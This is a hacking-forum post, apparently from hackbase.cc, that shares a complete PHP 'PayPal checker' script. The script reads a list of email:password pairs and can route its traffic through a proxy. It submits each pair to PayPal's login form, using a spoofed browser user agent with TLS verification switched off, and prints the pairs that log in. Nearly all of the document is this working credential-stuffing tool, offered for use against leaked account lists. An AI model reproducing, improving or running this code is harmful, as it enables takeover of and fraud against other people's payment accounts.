hier ist ein Paypal checker in php
by: int3
PHP-Code:
<?php
//script that checks list paypal accounts
//by int3
//use php check-paypal.php filename [-p proxy[IMG]http://hackbase.cc/iSkin_Black/smilies/tongue.gif[/IMG]ort]
//filename is in email[IMG]http://hackbase.cc/iSkin_Black/smilies/tongue.gif[/IMG]assword to check format
//first get filename with list and proxy name
$file;
$proxy;
$proxy_port;
for ($i=0; $i<$argc; $i++) {
if ($argv[$i] == "-p") {
$i++;
$proxy = substr($argv[$i], 0, strpos($argv[$i], ":")); //get proxy server
$proxy_port = substr($argv[$i], strpos($argv[$i], ":")+1); //get proxy port
echo "Using proxy: ", $proxy, ":", $proxy_port, "\n";
}
else
$file = $argv[$i];
}
$handle = fopen($file, "r");
while (!feof($handle)) {
$line = fgets($handle);
$email = trim(substr($line, 0, strpos($line, ':')));
$password = trim(substr($line, strpos($line, ':')+1));
check_paypal($email, $password);
}
fclose($handle);
//check if specified paypal login works
function check_paypal($user, $password) {
GLOBAL $proxy, $proxy_port;
$useragent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729)
"; //firefox
//first get paypal cookie
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, "https://www.paypal.com/us/"); //URL
curl_setopt($curl, CURLOPT_USERAGENT, $useragent);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
if (isset($proxy)) {
curl_setopt($curl, CURLOPT_HTTPPROXYTUNNEL, true);
curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_PROXYPORT, $proxy_port);
}
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); //return site as string
curl_setopt($curl, CURLOPT_COOKIEFILE, "cookie.txt");
curl_setopt($curl, CURLOPT_COOKIEJAR, "cookie.txt");
curl_exec($curl);
curl_close($curl);
//then login to paypal account
$data = "login_email=" . $user . "&login_password=" . $password . "&target_page=0&submit.x=Log+In&form_charset=U TF-8&browser_name=undefined&browser
_version=undefined&operating_system=Windows&mid_pr ofile=";
$curl = curl_init();
if (isset($proxy)) {
curl_setopt($curl, CURLOPT_HTTPPROXYTUNNEL, true);
curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_PROXYPORT, $proxy_port);
}
curl_setopt($curl, CURLOPT_URL, "https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit&dispatch=5885d80a13c0db1fa798f5a5f5ae42e71c f8ee1e36
038233149a658e6082cfca");
curl_setopt($curl, CURLOPT_USERAGENT, $useragent);
curl_setopt($curl, CURLOPT_REFERER, "https://www.paypal.com/us/");
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
curl_setopt($curl, CURLOPT_COOKIEFILE, "cookie.txt");
curl_setopt($curl, CURLOPT_COOKIEJAR, "cookie.txt");
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 3);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
$result = curl_exec($curl);
curl_close($curl);
if (preg_match('/<title>Logging in - PayPal<\/title>/', $result))
echo $user, ':', $password, "\n"; //GOOD ACCOUNT
}
?>